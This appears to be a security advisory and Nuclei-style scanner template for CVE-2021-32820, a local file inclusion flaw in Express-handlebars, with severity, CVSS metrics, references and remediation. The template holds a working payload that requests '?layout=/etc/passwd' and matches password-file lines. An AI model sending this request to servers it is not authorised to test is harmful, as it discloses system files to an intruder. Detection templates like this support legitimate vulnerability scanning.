Express-handlebars is susceptible to local file inclusion because it mixes pure template data with engine configuration options through the Express render API. More specifically, the layout parameter may trigger file disclosure vulnerabilities in downstream applications. This potential vulnerability is somewhat restricted in that only files with existing extensions (i.e., file.extension) can be included. Files that lack an extension will have .handlebars appended to them. For complete details refer to the referenced GHSL-2021-018 report. Notes in documentation have been added to help users avoid this potential information exposure vulnerability.
PoC代码[已公开]
id: CVE-2021-32820
info:
name: Express-handlebars - Local File Inclusion
author: dhiyaneshDk
severity: high
description: Express-handlebars is susceptible to local file inclusion because it mixes pure template data with engine configuration options through the Express render API. More specifically, the layout parameter may trigger file disclosure vulnerabilities in downstream applications. This potential vulnerability is somewhat restricted in that only files with existing extensions (i.e., file.extension) can be included. Files that lack an extension will have .handlebars appended to them. For complete details refer to the referenced GHSL-2021-018 report. Notes in documentation have been added to help users avoid this potential information exposure vulnerability.
impact: |
An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
remediation: |
Update to the latest version of Express-handlebars to mitigate the vulnerability.
reference:
- https://securitylab.github.com/advisories/GHSL-2021-018-express-handlebars/
- https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/CVE-2021-32820.json
- https://github.com/express-handlebars/express-handlebars/pull/163
- https://nvd.nist.gov/vuln/detail/CVE-2021-32820
- https://github.com/express-handlebars/express-handlebars/blob/78c47a235c4ad7bc2674bddd8ec2721567ed8c72/README.md#danger-
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cve-id: CVE-2021-32820
cwe-id: CWE-94,CWE-200
epss-score: 0.90956
epss-percentile: 0.99621
cpe: cpe:2.3:a:express_handlebars_project:express_handlebars:*:*:*:*:*:node.js:*:*
metadata:
max-request: 1
vendor: express_handlebars_project
product: express_handlebars
framework: node.js
tags: cve2021,cve,expressjs,lfi,xxe,express_handlebars_project,node.js
http:
- method: GET
path:
- "{{BaseURL}}/?layout=/etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- "daemon:[x*]:0:0:"
- "operator:[x*]:0:0:"
condition: or
- type: status
status:
- 200
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